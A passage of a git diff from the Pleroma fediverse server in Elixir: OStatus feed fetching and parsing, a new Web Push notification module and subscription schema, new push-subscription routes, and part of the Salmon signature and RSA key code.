with {:ok, retweeted_activity} <- get_or_build_object(entry),
{:ok, activity} <- make_share(entry, doc, retweeted_activity) do
{:ok, activity, retweeted_activity}
else
e -> {:error, e}
end
end
def make_favorite(entry, doc, favorited_activity) do
with {:ok, actor} <- find_make_or_update_user(doc),
%Object{} = object <- Object.normalize(favorited_activity.data["object"]),
id when not is_nil(id) <- string_from_xpath("/entry/id", entry),
{:ok, activity, _object} = ActivityPub.like(actor, object, id, false) do
{:ok, activity}
end
end
def get_or_build_object(entry) do
with {:ok, activity} <- get_or_try_fetching(entry) do
{:ok, activity}
else
_e ->
with [object] <- :xmerl_xpath.string('/entry/activity:object', entry) do
NoteHandler.handle_note(object, object)
end
end
end
def get_or_try_fetching(entry) do
Logger.debug("Trying to get entry from db")
with id when not is_nil(id) <- string_from_xpath("//activity:object[1]/id", entry),
%Activity{} = activity <- Activity.get_create_activity_by_object_ap_id(id) do
{:ok, activity}
else
_ ->
Logger.debug("Couldn't get, will try to fetch")
with href when not is_nil(href) <-
string_from_xpath("//activity:object[1]/link[@type=\"text/html\"]/@href", entry),
{:ok, [favorited_activity]} <- fetch_activity_from_url(href) do
{:ok, favorited_activity}
else
e -> Logger.debug("Couldn't find href: #{inspect(e)}")
end
end
end
def handle_favorite(entry, doc) do
with {:ok, favorited_activity} <- get_or_try_fetching(entry),
{:ok, activity} <- make_favorite(entry, doc, favorited_activity) do
{:ok, activity, favorited_activity}
else
e -> {:error, e}
end
end
def get_attachments(entry) do
:xmerl_xpath.string('/entry/link[@rel="enclosure"]', entry)
|> Enum.map(fn enclosure ->
with href when not is_nil(href) <- string_from_xpath("/link/@href", enclosure),
type when not is_nil(type) <- string_from_xpath("/link/@type", enclosure) do
%{
"type" => "Attachment",
"url" => [
%{
"type" => "Link",
"mediaType" => type,
"href" => href
}
]
}
end
end)
|> Enum.filter(& &1)
end
@doc """
Gets the content from a an entry.
"""
def get_content(entry) do
string_from_xpath("//content", entry)
end
@doc """
Get the cw that mastodon uses.
"""
def get_cw(entry) do
with cw when not is_nil(cw) <- string_from_xpath("/*/summary", entry) do
cw
else
_e -> nil
end
end
def get_tags(entry) do
:xmerl_xpath.string('//category', entry)
|> Enum.map(fn category -> string_from_xpath("/category/@term", category) end)
|> Enum.filter(& &1)
|> Enum.map(&String.downcase/1)
end
def maybe_update(doc, user) do
if "true" == string_from_xpath("//author[1]/ap_enabled", doc) do
Transmogrifier.upgrade_user_from_ap_id(user.ap_id)
else
maybe_update_ostatus(doc, user)
end
end
def maybe_update_ostatus(doc, user) do
old_data = %{
avatar: user.avatar,
bio: user.bio,
name: user.name
}
with false <- user.local,
avatar <- make_avatar_object(doc),
bio <- string_from_xpath("//author[1]/summary", doc),
name <- string_from_xpath("//author[1]/poco:displayName", doc),
new_data <- %{
avatar: avatar || old_data.avatar,
name: name || old_data.name,
bio: bio || old_data.bio
},
false <- new_data == old_data do
change = Ecto.Changeset.change(user, new_data)
User.update_and_set_cache(change)
else
_ ->
{:ok, user}
end
end
def find_make_or_update_user(doc) do
uri = string_from_xpath("//author/uri[1]", doc)
with {:ok, user} <- find_or_make_user(uri) do
maybe_update(doc, user)
end
end
def find_or_make_user(uri) do
query = from(user in User, where: user.ap_id == ^uri)
user = Repo.one(query)
if is_nil(user) do
make_user(uri)
else
{:ok, user}
end
end
def make_user(uri, update \\ false) do
with {:ok, info} <- gather_user_info(uri) do
data = %{
name: info["name"],
nickname: info["nickname"] <> "@" <> info["host"],
ap_id: info["uri"],
info: info,
avatar: info["avatar"],
bio: info["bio"]
}
with false <- update,
%User{} = user <- User.get_by_ap_id(data.ap_id) do
{:ok, user}
else
_e -> User.insert_or_update_user(data)
end
end
end
# TODO: Just takes the first one for now.
def make_avatar_object(author_doc, rel \\ "avatar") do
href = string_from_xpath("//author[1]/link[@rel=\"#{rel}\"]/@href", author_doc)
type = string_from_xpath("//author[1]/link[@rel=\"#{rel}\"]/@type", author_doc)
if href do
%{
"type" => "Image",
"url" => [
%{
"type" => "Link",
"mediaType" => type,
"href" => href
}
]
}
else
nil
end
end
def gather_user_info(username) do
with {:ok, webfinger_data} <- WebFinger.finger(username),
{:ok, feed_data} <- Websub.gather_feed_data(webfinger_data["topic"]) do
{:ok, Map.merge(webfinger_data, feed_data) |> Map.put("fqn", username)}
else
e ->
Logger.debug(fn -> "Couldn't gather info for #{username}" end)
{:error, e}
end
end
# Regex-based 'parsing' so we don't have to pull in a full html parser
# It's a hack anyway. Maybe revisit this in the future
@mastodon_regex ~r/<link href='(.*)' rel='alternate' type='application\/atom\+xml'>/
@gs_regex ~r/<link title=.* href="(.*)" type="application\/atom\+xml" rel="alternate">/
@gs_classic_regex ~r/<link rel="alternate" href="(.*)" type="application\/atom\+xml" title=.*>/
def get_atom_url(body) do
cond do
Regex.match?(@mastodon_regex, body) ->
[[_, match]] = Regex.scan(@mastodon_regex, body)
{:ok, match}
Regex.match?(@gs_regex, body) ->
[[_, match]] = Regex.scan(@gs_regex, body)
{:ok, match}
Regex.match?(@gs_classic_regex, body) ->
[[_, match]] = Regex.scan(@gs_classic_regex, body)
{:ok, match}
true ->
Logger.debug(fn -> "Couldn't find Atom link in #{inspect(body)}" end)
{:error, "Couldn't find the Atom link"}
end
end
def fetch_activity_from_atom_url(url) do
with true <- String.starts_with?(url, "http"),
{:ok, %{body: body, status: code}} when code in 200..299 <-
@httpoison.get(
url,
- [Accept: "application/atom+xml"],
- follow_redirect: true,
- adapter: [
- timeout: 10000,
- recv_timeout: 20000
- ]
+ [{:Accept, "application/atom+xml"}]
) do
Logger.debug("Got document from #{url}, handling...")
handle_incoming(body)
else
e ->
Logger.debug("Couldn't get #{url}: #{inspect(e)}")
e
end
end
def fetch_activity_from_html_url(url) do
Logger.debug("Trying to fetch #{url}")
with true <- String.starts_with?(url, "http"),
- {:ok, %{body: body}} <-
- @httpoison.get(url, [], follow_redirect: true, timeout: 10000, recv_timeout: 20000),
+ {:ok, %{body: body}} <- @httpoison.get(url, []),
{:ok, atom_url} <- get_atom_url(body) do
fetch_activity_from_atom_url(atom_url)
else
e ->
Logger.debug("Couldn't get #{url}: #{inspect(e)}")
e
end
end
def fetch_activity_from_url(url) do
try do
with {:ok, activities} when length(activities) > 0 <- fetch_activity_from_atom_url(url) do
{:ok, activities}
else
_e ->
with {:ok, activities} <- fetch_activity_from_html_url(url) do
{:ok, activities}
end
end
rescue
e ->
Logger.debug("Couldn't get #{url}: #{inspect(e)}")
{:error, "Couldn't get #{url}: #{inspect(e)}"}
end
end
end
diff --git a/lib/pleroma/web/push/push.ex b/lib/pleroma/web/push/push.ex
new file mode 100644
index 000000000..5a873ec19
--- /dev/null
+++ b/lib/pleroma/web/push/push.ex
@@ -0,0 +1,116 @@
+defmodule Pleroma.Web.Push do
+ use GenServer
+
+ alias Pleroma.{Repo, User}
+ alias Pleroma.Web.Push.Subscription
+
+ require Logger
+ import Ecto.Query
+
+ @types ["Create", "Follow", "Announce", "Like"]
+
+ @gcm_api_key nil
+
+ def start_link() do
+ GenServer.start_link(__MODULE__, :ok, name: __MODULE__)
+ end
+
+ def init(:ok) do
+ case Application.get_env(:web_push_encryption, :vapid_details) do
+ nil ->
+ Logger.warn(
+ "VAPID key pair is not found. Please, add VAPID configuration to config. Run `mix web_push.gen.keypair` mix task to create a key pair"
+ )
+
+ :ignore
+
+ _ ->
+ {:ok, %{}}
+ end
+ end
+
+ def send(notification) do
+ if Application.get_env(:web_push_encryption, :vapid_details) do
+ GenServer.cast(Pleroma.Web.Push, {:send, notification})
+ end
+ end
+
+ def handle_cast(
+ {:send, %{activity: %{data: %{"type" => type}}, user_id: user_id} = notification},
+ state
+ )
+ when type in @types do
+ actor = User.get_cached_by_ap_id(notification.activity.data["actor"])
+ body = notification |> format(actor) |> Jason.encode!()
+
+ Subscription
+ |> where(user_id: ^user_id)
+ |> Repo.all()
+ |> Enum.each(fn record ->
+ subscription = %{
+ keys: %{
+ p256dh: record.key_p256dh,
+ auth: record.key_auth
+ },
+ endpoint: record.endpoint
+ }
+
+ case WebPushEncryption.send_web_push(body, subscription, @gcm_api_key) do
+ {:ok, %{status_code: code}} when 400 <= code and code < 500 ->
+ Logger.debug("Removing subscription record")
+ Repo.delete!(record)
+ :ok
+
+ {:ok, %{status_code: code}} when 200 <= code and code < 300 ->
+ :ok
+
+ {:ok, %{status_code: code}} ->
+ Logger.error("Web Push Nonification failed with code: #{code}")
+ :error
+
+ _ ->
+ Logger.error("Web Push Nonification failed with unknown error")
+ :error
+ end
+ end)
+
+ {:noreply, state}
+ end
+
+ def handle_cast({:send, _}, state) do
+ Logger.warn("Unknown notification type")
+ {:noreply, state}
+ end
+
+ def format(%{activity: %{data: %{"type" => "Create"}}}, actor) do
+ %{
+ title: "New Mention",
+ body: "@#{actor.nickname} has mentiond you",
+ icon: User.avatar_url(actor)
+ }
+ end
+
+ def format(%{activity: %{data: %{"type" => "Follow"}}}, actor) do
+ %{
+ title: "New Follower",
+ body: "@#{actor.nickname} has followed you",
+ icon: User.avatar_url(actor)
+ }
+ end
+
+ def format(%{activity: %{data: %{"type" => "Announce"}}}, actor) do
+ %{
+ title: "New Announce",
+ body: "@#{actor.nickname} has announced your post",
+ icon: User.avatar_url(actor)
+ }
+ end
+
+ def format(%{activity: %{data: %{"type" => "Like"}}}, actor) do
+ %{
+ title: "New Like",
+ body: "@#{actor.nickname} has liked your post",
+ icon: User.avatar_url(actor)
+ }
+ end
+end
diff --git a/lib/pleroma/web/push/subscription.ex b/lib/pleroma/web/push/subscription.ex
new file mode 100644
index 000000000..cfab7a98e
--- /dev/null
+++ b/lib/pleroma/web/push/subscription.ex
@@ -0,0 +1,66 @@
+defmodule Pleroma.Web.Push.Subscription do
+ use Ecto.Schema
+ import Ecto.Changeset
+ alias Pleroma.{Repo, User}
+ alias Pleroma.Web.OAuth.Token
+ alias Pleroma.Web.Push.Subscription
+
+ schema "push_subscriptions" do
+ belongs_to(:user, User)
+ belongs_to(:token, Token)
+ field(:endpoint, :string)
+ field(:key_p256dh, :string)
+ field(:key_auth, :string)
+ field(:data, :map, default: %{})
+
+ timestamps()
+ end
+
+ @supported_alert_types ~w[follow favourite mention reblog]
+
+ defp alerts(%{"data" => %{"alerts" => alerts}}) do
+ alerts = Map.take(alerts, @supported_alert_types)
+ %{"alerts" => alerts}
+ end
+
+ def create(
+ %User{} = user,
+ %Token{} = token,
+ %{
+ "subscription" => %{
+ "endpoint" => endpoint,
+ "keys" => %{"auth" => key_auth, "p256dh" => key_p256dh}
+ }
+ } = params
+ ) do
+ Repo.insert(%Subscription{
+ user_id: user.id,
+ token_id: token.id,
+ endpoint: endpoint,
+ key_auth: key_auth,
+ key_p256dh: key_p256dh,
+ data: alerts(params)
+ })
+ end
+
+ def get(%User{id: user_id}, %Token{id: token_id}) do
+ Repo.get_by(Subscription, user_id: user_id, token_id: token_id)
+ end
+
+ def update(user, token, params) do
+ get(user, token)
+ |> change(data: alerts(params))
+ |> Repo.update()
+ end
+
+ def delete(user, token) do
+ Repo.delete(get(user, token))
+ end
+
+ def delete_if_exists(user, token) do
+ case get(user, token) do
+ nil -> {:ok, nil}
+ sub -> Repo.delete(sub)
+ end
+ end
+end
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index d6a9d5779..75d965c6d 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -1,447 +1,453 @@
defmodule Pleroma.Web.Router do
use Pleroma.Web, :router
alias Pleroma.{Repo, User, Web.Router}
pipeline :api do
plug(:accepts, ["json"])
plug(:fetch_session)
plug(Pleroma.Plugs.OAuthPlug)
plug(Pleroma.Plugs.BasicAuthDecoderPlug)
plug(Pleroma.Plugs.UserFetcherPlug)
plug(Pleroma.Plugs.SessionAuthenticationPlug)
plug(Pleroma.Plugs.LegacyAuthenticationPlug)
plug(Pleroma.Plugs.AuthenticationPlug)
plug(Pleroma.Plugs.UserEnabledPlug)
plug(Pleroma.Plugs.SetUserSessionIdPlug)
plug(Pleroma.Plugs.EnsureUserKeyPlug)
end
pipeline :authenticated_api do
plug(:accepts, ["json"])
plug(:fetch_session)
plug(Pleroma.Plugs.OAuthPlug)
plug(Pleroma.Plugs.BasicAuthDecoderPlug)
plug(Pleroma.Plugs.UserFetcherPlug)
plug(Pleroma.Plugs.SessionAuthenticationPlug)
plug(Pleroma.Plugs.LegacyAuthenticationPlug)
plug(Pleroma.Plugs.AuthenticationPlug)
plug(Pleroma.Plugs.UserEnabledPlug)
plug(Pleroma.Plugs.SetUserSessionIdPlug)
plug(Pleroma.Plugs.EnsureAuthenticatedPlug)
end
pipeline :admin_api do
plug(:accepts, ["json"])
plug(:fetch_session)
plug(Pleroma.Plugs.OAuthPlug)
plug(Pleroma.Plugs.BasicAuthDecoderPlug)
plug(Pleroma.Plugs.UserFetcherPlug)
plug(Pleroma.Plugs.SessionAuthenticationPlug)
plug(Pleroma.Plugs.LegacyAuthenticationPlug)
plug(Pleroma.Plugs.AuthenticationPlug)
plug(Pleroma.Plugs.UserEnabledPlug)
plug(Pleroma.Plugs.SetUserSessionIdPlug)
plug(Pleroma.Plugs.EnsureAuthenticatedPlug)
plug(Pleroma.Plugs.UserIsAdminPlug)
end
pipeline :mastodon_html do
plug(:accepts, ["html"])
plug(:fetch_session)
plug(Pleroma.Plugs.OAuthPlug)
plug(Pleroma.Plugs.BasicAuthDecoderPlug)
plug(Pleroma.Plugs.UserFetcherPlug)
plug(Pleroma.Plugs.SessionAuthenticationPlug)
plug(Pleroma.Plugs.LegacyAuthenticationPlug)
plug(Pleroma.Plugs.AuthenticationPlug)
plug(Pleroma.Plugs.UserEnabledPlug)
plug(Pleroma.Plugs.SetUserSessionIdPlug)
plug(Pleroma.Plugs.EnsureUserKeyPlug)
end
pipeline :pleroma_html do
plug(:accepts, ["html"])
plug(:fetch_session)
plug(Pleroma.Plugs.OAuthPlug)
plug(Pleroma.Plugs.BasicAuthDecoderPlug)
plug(Pleroma.Plugs.UserFetcherPlug)
plug(Pleroma.Plugs.SessionAuthenticationPlug)
plug(Pleroma.Plugs.AuthenticationPlug)
plug(Pleroma.Plugs.EnsureUserKeyPlug)
end
pipeline :well_known do
plug(:accepts, ["json", "jrd+json", "xml", "xrd+xml"])
end
pipeline :config do
plug(:accepts, ["json", "xml"])
end
pipeline :oauth do
plug(:accepts, ["html", "json"])
end
pipeline :pleroma_api do
plug(:accepts, ["html", "json"])
end
scope "/api/pleroma", Pleroma.Web.TwitterAPI do
pipe_through(:pleroma_api)
get("/password_reset/:token", UtilController, :show_password_reset)
post("/password_reset", UtilController, :password_reset)
get("/emoji", UtilController, :emoji)
end
scope "/api/pleroma/admin", Pleroma.Web.AdminAPI do
pipe_through(:admin_api)
delete("/user", AdminAPIController, :user_delete)
post("/user", AdminAPIController, :user_create)
get("/permission_group/:nickname", AdminAPIController, :right_get)
get("/permission_group/:nickname/:permission_group", AdminAPIController, :right_get)
post("/permission_group/:nickname/:permission_group", AdminAPIController, :right_add)
delete("/permission_group/:nickname/:permission_group", AdminAPIController, :right_delete)
post("/relay", AdminAPIController, :relay_follow)
delete("/relay", AdminAPIController, :relay_unfollow)
get("/invite_token", AdminAPIController, :get_invite_token)
get("/password_reset", AdminAPIController, :get_password_reset)
end
scope "/", Pleroma.Web.TwitterAPI do
pipe_through(:pleroma_html)
get("/ostatus_subscribe", UtilController, :remote_follow)
post("/ostatus_subscribe", UtilController, :do_remote_follow)
post("/main/ostatus", UtilController, :remote_subscribe)
end
scope "/api/pleroma", Pleroma.Web.TwitterAPI do
pipe_through(:authenticated_api)
post("/follow_import", UtilController, :follow_import)
post("/change_password", UtilController, :change_password)
post("/delete_account", UtilController, :delete_account)
end
scope "/oauth", Pleroma.Web.OAuth do
get("/authorize", OAuthController, :authorize)
post("/authorize", OAuthController, :create_authorization)
post("/token", OAuthController, :token_exchange)
post("/revoke", OAuthController, :token_revoke)
end
scope "/api/v1", Pleroma.Web.MastodonAPI do
pipe_through(:authenticated_api)
patch("/accounts/update_credentials", MastodonAPIController, :update_credentials)
get("/accounts/verify_credentials", MastodonAPIController, :verify_credentials)
get("/accounts/relationships", MastodonAPIController, :relationships)
get("/accounts/search", MastodonAPIController, :account_search)
post("/accounts/:id/follow", MastodonAPIController, :follow)
post("/accounts/:id/unfollow", MastodonAPIController, :unfollow)
post("/accounts/:id/block", MastodonAPIController, :block)
post("/accounts/:id/unblock", MastodonAPIController, :unblock)
post("/accounts/:id/mute", MastodonAPIController, :relationship_noop)
post("/accounts/:id/unmute", MastodonAPIController, :relationship_noop)
get("/accounts/:id/lists", MastodonAPIController, :account_lists)
get("/follow_requests", MastodonAPIController, :follow_requests)
post("/follow_requests/:id/authorize", MastodonAPIController, :authorize_follow_request)
post("/follow_requests/:id/reject", MastodonAPIController, :reject_follow_request)
post("/follows", MastodonAPIController, :follow)
get("/blocks", MastodonAPIController, :blocks)
get("/mutes", MastodonAPIController, :empty_array)
get("/timelines/home", MastodonAPIController, :home_timeline)
get("/timelines/direct", MastodonAPIController, :dm_timeline)
get("/favourites", MastodonAPIController, :favourites)
post("/statuses", MastodonAPIController, :post_status)
delete("/statuses/:id", MastodonAPIController, :delete_status)
post("/statuses/:id/reblog", MastodonAPIController, :reblog_status)
post("/statuses/:id/unreblog", MastodonAPIController, :unreblog_status)
post("/statuses/:id/favourite", MastodonAPIController, :fav_status)
post("/statuses/:id/unfavourite", MastodonAPIController, :unfav_status)
post("/notifications/clear", MastodonAPIController, :clear_notifications)
post("/notifications/dismiss", MastodonAPIController, :dismiss_notification)
get("/notifications", MastodonAPIController, :notifications)
get("/notifications/:id", MastodonAPIController, :get_notification)
post("/media", MastodonAPIController, :upload)
put("/media/:id", MastodonAPIController, :update_media)
get("/lists", MastodonAPIController, :get_lists)
get("/lists/:id", MastodonAPIController, :get_list)
delete("/lists/:id", MastodonAPIController, :delete_list)
post("/lists", MastodonAPIController, :create_list)
put("/lists/:id", MastodonAPIController, :rename_list)
get("/lists/:id/accounts", MastodonAPIController, :list_accounts)
post("/lists/:id/accounts", MastodonAPIController, :add_to_list)
delete("/lists/:id/accounts", MastodonAPIController, :remove_from_list)
get("/domain_blocks", MastodonAPIController, :domain_blocks)
post("/domain_blocks", MastodonAPIController, :block_domain)
delete("/domain_blocks", MastodonAPIController, :unblock_domain)
get("/filters", MastodonAPIController, :get_filters)
post("/filters", MastodonAPIController, :create_filter)
get("/filters/:id", MastodonAPIController, :get_filter)
put("/filters/:id", MastodonAPIController, :update_filter)
delete("/filters/:id", MastodonAPIController, :delete_filter)
+ post("/push/subscription", MastodonAPIController, :create_push_subscription)
+ get("/push/subscription", MastodonAPIController, :get_push_subscription)
+ put("/push/subscription", MastodonAPIController, :update_push_subscription)
+ delete("/push/subscription", MastodonAPIController, :delete_push_subscription)
+
get("/suggestions", MastodonAPIController, :suggestions)
get("/endorsements", MastodonAPIController, :empty_array)
end
scope "/api/web", Pleroma.Web.MastodonAPI do
pipe_through(:authenticated_api)
put("/settings", MastodonAPIController, :put_settings)
end
scope "/api/v1", Pleroma.Web.MastodonAPI do
pipe_through(:api)
get("/instance", MastodonAPIController, :masto_instance)
get("/instance/peers", MastodonAPIController, :peers)
post("/apps", MastodonAPIController, :create_app)
get("/custom_emojis", MastodonAPIController, :custom_emojis)
get("/timelines/public", MastodonAPIController, :public_timeline)
get("/timelines/tag/:tag", MastodonAPIController, :hashtag_timeline)
get("/timelines/list/:list_id", MastodonAPIController, :list_timeline)
get("/statuses/:id", MastodonAPIController, :get_status)
get("/statuses/:id/context", MastodonAPIController, :get_context)
get("/statuses/:id/card", MastodonAPIController, :empty_object)
get("/statuses/:id/favourited_by", MastodonAPIController, :favourited_by)
get("/statuses/:id/reblogged_by", MastodonAPIController, :reblogged_by)
get("/accounts/:id/statuses", MastodonAPIController, :user_statuses)
get("/accounts/:id/followers", MastodonAPIController, :followers)
get("/accounts/:id/following", MastodonAPIController, :following)
get("/accounts/:id", MastodonAPIController, :user)
get("/trends", MastodonAPIController, :empty_array)
get("/search", MastodonAPIController, :search)
end
scope "/api/v2", Pleroma.Web.MastodonAPI do
pipe_through(:api)
get("/search", MastodonAPIController, :search2)
end
scope "/api", Pleroma.Web do
pipe_through(:config)
get("/help/test", TwitterAPI.UtilController, :help_test)
post("/help/test", TwitterAPI.UtilController, :help_test)
get("/statusnet/config", TwitterAPI.UtilController, :config)
get("/statusnet/version", TwitterAPI.UtilController, :version)
end
scope "/api", Pleroma.Web do
pipe_through(:api)
get("/statuses/user_timeline", TwitterAPI.Controller, :user_timeline)
get("/qvitter/statuses/user_timeline", TwitterAPI.Controller, :user_timeline)
get("/users/show", TwitterAPI.Controller, :show_user)
get("/statuses/followers", TwitterAPI.Controller, :followers)
get("/statuses/friends", TwitterAPI.Controller, :friends)
get("/statuses/show/:id", TwitterAPI.Controller, :fetch_status)
get("/statusnet/conversation/:id", TwitterAPI.Controller, :fetch_conversation)
post("/account/register", TwitterAPI.Controller, :register)
get("/search", TwitterAPI.Controller, :search)
get("/statusnet/tags/timeline/:tag", TwitterAPI.Controller, :public_and_external_timeline)
end
scope "/api", Pleroma.Web do
pipe_through(:api)
get("/statuses/public_timeline", TwitterAPI.Controller, :public_timeline)
get(
"/statuses/public_and_external_timeline",
TwitterAPI.Controller,
:public_and_external_timeline
)
get("/statuses/networkpublic_timeline", TwitterAPI.Controller, :public_and_external_timeline)
end
scope "/api", Pleroma.Web, as: :twitter_api_search do
pipe_through(:api)
get("/pleroma/search_user", TwitterAPI.Controller, :search_user)
end
scope "/api", Pleroma.Web, as: :authenticated_twitter_api do
pipe_through(:authenticated_api)
get("/account/verify_credentials", TwitterAPI.Controller, :verify_credentials)
post("/account/verify_credentials", TwitterAPI.Controller, :verify_credentials)
post("/account/update_profile", TwitterAPI.Controller, :update_profile)
post("/account/update_profile_banner", TwitterAPI.Controller, :update_banner)
post("/qvitter/update_background_image", TwitterAPI.Controller, :update_background)
get("/statuses/home_timeline", TwitterAPI.Controller, :friends_timeline)
get("/statuses/friends_timeline", TwitterAPI.Controller, :friends_timeline)
get("/statuses/mentions", TwitterAPI.Controller, :mentions_timeline)
get("/statuses/mentions_timeline", TwitterAPI.Controller, :mentions_timeline)
get("/statuses/dm_timeline", TwitterAPI.Controller, :dm_timeline)
get("/qvitter/statuses/notifications", TwitterAPI.Controller, :notifications)
# XXX: this is really a pleroma API, but we want to keep the pleroma namespace clean
# for now.
post("/qvitter/statuses/notifications/read", TwitterAPI.Controller, :notifications_read)
post("/statuses/update", TwitterAPI.Controller, :status_update)
post("/statuses/retweet/:id", TwitterAPI.Controller, :retweet)
post("/statuses/unretweet/:id", TwitterAPI.Controller, :unretweet)
post("/statuses/destroy/:id", TwitterAPI.Controller, :delete_post)
get("/pleroma/friend_requests", TwitterAPI.Controller, :friend_requests)
post("/pleroma/friendships/approve", TwitterAPI.Controller, :approve_friend_request)
post("/pleroma/friendships/deny", TwitterAPI.Controller, :deny_friend_request)
post("/friendships/create", TwitterAPI.Controller, :follow)
post("/friendships/destroy", TwitterAPI.Controller, :unfollow)
post("/blocks/create", TwitterAPI.Controller, :block)
post("/blocks/destroy", TwitterAPI.Controller, :unblock)
post("/statusnet/media/upload", TwitterAPI.Controller, :upload)
post("/media/upload", TwitterAPI.Controller, :upload_json)
+ post("/media/metadata/create", TwitterAPI.Controller, :update_media)
post("/favorites/create/:id", TwitterAPI.Controller, :favorite)
post("/favorites/create", TwitterAPI.Controller, :favorite)
post("/favorites/destroy/:id", TwitterAPI.Controller, :unfavorite)
post("/qvitter/update_avatar", TwitterAPI.Controller, :update_avatar)
get("/friends/ids", TwitterAPI.Controller, :friends_ids)
get("/friendships/no_retweets/ids", TwitterAPI.Controller, :empty_array)
get("/mutes/users/ids", TwitterAPI.Controller, :empty_array)
get("/qvitter/mutes", TwitterAPI.Controller, :raw_empty_array)
get("/externalprofile/show", TwitterAPI.Controller, :external_profile)
end
pipeline :ap_relay do
plug(:accepts, ["activity+json"])
end
pipeline :ostatus do
plug(:accepts, ["xml", "atom", "html", "activity+json"])
end
scope "/", Pleroma.Web do
pipe_through(:ostatus)
get("/objects/:uuid", OStatus.OStatusController, :object)
get("/activities/:uuid", OStatus.OStatusController, :activity)
get("/notice/:id", OStatus.OStatusController, :notice)
get("/users/:nickname/feed", OStatus.OStatusController, :feed)
get("/users/:nickname", OStatus.OStatusController, :feed_redirect)
post("/users/:nickname/salmon", OStatus.OStatusController, :salmon_incoming)
post("/push/hub/:nickname", Websub.WebsubController, :websub_subscription_request)
get("/push/subscriptions/:id", Websub.WebsubController, :websub_subscription_confirmation)
post("/push/subscriptions/:id", Websub.WebsubController, :websub_incoming)
end
pipeline :activitypub do
plug(:accepts, ["activity+json"])
plug(Pleroma.Web.Plugs.HTTPSignaturePlug)
end
scope "/", Pleroma.Web.ActivityPub do
# XXX: not really ostatus
pipe_through(:ostatus)
get("/users/:nickname/followers", ActivityPubController, :followers)
get("/users/:nickname/following", ActivityPubController, :following)
get("/users/:nickname/outbox", ActivityPubController, :outbox)
end
scope "/relay", Pleroma.Web.ActivityPub do
pipe_through(:ap_relay)
get("/", ActivityPubController, :relay)
end
scope "/", Pleroma.Web.ActivityPub do
pipe_through(:activitypub)
post("/users/:nickname/inbox", ActivityPubController, :inbox)
post("/inbox", ActivityPubController, :inbox)
end
scope "/.well-known", Pleroma.Web do
pipe_through(:well_known)
get("/host-meta", WebFinger.WebFingerController, :host_meta)
get("/webfinger", WebFinger.WebFingerController, :webfinger)
get("/nodeinfo", Nodeinfo.NodeinfoController, :schemas)
end
scope "/nodeinfo", Pleroma.Web do
get("/:version", Nodeinfo.NodeinfoController, :nodeinfo)
end
scope "/", Pleroma.Web.MastodonAPI do
pipe_through(:mastodon_html)
get("/web/login", MastodonAPIController, :login)
post("/web/login", MastodonAPIController, :login_post)
get("/web/*path", MastodonAPIController, :index)
delete("/auth/sign_out", MastodonAPIController, :logout)
end
pipeline :remote_media do
end
scope "/proxy/", Pleroma.Web.MediaProxy do
pipe_through(:remote_media)
get("/:sig/:url", MediaProxyController, :remote)
get("/:sig/:url/:filename", MediaProxyController, :remote)
end
scope "/", Fallback do
get("/registration/:token", RedirectController, :registration_page)
get("/*path", RedirectController, :redirector)
options("/*path", RedirectController, :empty)
end
end
defmodule Fallback.RedirectController do
use Pleroma.Web, :controller
def redirector(conn, _params) do
conn
|> put_resp_content_type("text/html")
|> send_file(200, Application.app_dir(:pleroma, "priv/static/index.html"))
end
def registration_page(conn, params) do
redirector(conn, params)
end
def empty(conn, _params) do
conn
|> put_status(204)
|> text("")
end
end
diff --git a/lib/pleroma/web/salmon/salmon.ex b/lib/pleroma/web/salmon/salmon.ex
index 97251c05e..0e2cfddd0 100644
--- a/lib/pleroma/web/salmon/salmon.ex
+++ b/lib/pleroma/web/salmon/salmon.ex
@@ -1,214 +1,209 @@
defmodule Pleroma.Web.Salmon do
@httpoison Application.get_env(:pleroma, :httpoison)
use Bitwise
alias Pleroma.Web.XML
alias Pleroma.Web.OStatus.ActivityRepresenter
alias Pleroma.User
require Logger
def decode(salmon) do
doc = XML.parse_document(salmon)
{:xmlObj, :string, data} = :xmerl_xpath.string('string(//me:data[1])', doc)
{:xmlObj, :string, sig} = :xmerl_xpath.string('string(//me:sig[1])', doc)
{:xmlObj, :string, alg} = :xmerl_xpath.string('string(//me:alg[1])', doc)
{:xmlObj, :string, encoding} = :xmerl_xpath.string('string(//me:encoding[1])', doc)
{:xmlObj, :string, type} = :xmerl_xpath.string('string(//me:data[1]/@type)', doc)
{:ok, data} = Base.url_decode64(to_string(data), ignore: :whitespace)
{:ok, sig} = Base.url_decode64(to_string(sig), ignore: :whitespace)
alg = to_string(alg)
encoding = to_string(encoding)
type = to_string(type)
[data, type, encoding, alg, sig]
end
def fetch_magic_key(salmon) do
with [data, _, _, _, _] <- decode(salmon),
doc <- XML.parse_document(data),
uri when not is_nil(uri) <- XML.string_from_xpath("/entry/author[1]/uri", doc),
{:ok, public_key} <- User.get_public_key_for_ap_id(uri),
magic_key <- encode_key(public_key) do
{:ok, magic_key}
end
end
def decode_and_validate(magickey, salmon) do
[data, type, encoding, alg, sig] = decode(salmon)
signed_text =
[data, type, encoding, alg]
|> Enum.map(&Base.url_encode64/1)
|> Enum.join(".")
key = decode_key(magickey)
verify = :public_key.verify(signed_text, :sha256, sig, key)
if verify do
{:ok, data}
else
:error
end
end
def decode_key("RSA." <> magickey) do
make_integer = fn bin ->
list = :erlang.binary_to_list(bin)
Enum.reduce(list, 0, fn el, acc -> acc <<< 8 ||| el end)
end
[modulus, exponent] =
magickey
|> String.split(".")
|> Enum.map(fn n -> Base.url_decode64!(n, padding: false) end)
|> Enum.map(make_integer)
{:RSAPublicKey, modulus, exponent}
end
def encode_key({:RSAPublicKey, modulus, exponent}) do
modulus_enc = :binary.encode_unsigned(modulus) |> Base.url_encode64()
exponent_enc = :binary.encode_unsigned(exponent) |> Base.url_encode64()
"RSA.#{modulus_enc}.#{exponent_enc}"
end
# Native generation of RSA keys is only available since OTP 20+ and in default build conditions
# We try at compile time to generate natively an RSA key otherwise we fallback on the old way.
try do
_ = :public_key.generate_key({:rsa, 2048, 65537})
def generate_rsa_pem do
key = :public_key.generate_key({:rsa, 2048, 65537})
entry = :public_key.pem_entry_encode(:RSAPrivateKey, key)
pem = :public_key.pem_encode([entry]) |> String.trim_trailing()
{:ok, pem}
end
rescue
_ ->
def generate_rsa_pem do
port = Port.open({:spawn, "openssl genrsa"}, [:binary])
{:ok, pem} =
receive do
{^port, {:data, pem}} -> {:ok, pem}
end
Port.close(port)
if Regex.match?(~r/RSA PRIVATE KEY/, pem) do
{:ok, pem}
else
:error
end
end
end
def keys_from_pem(pem) do
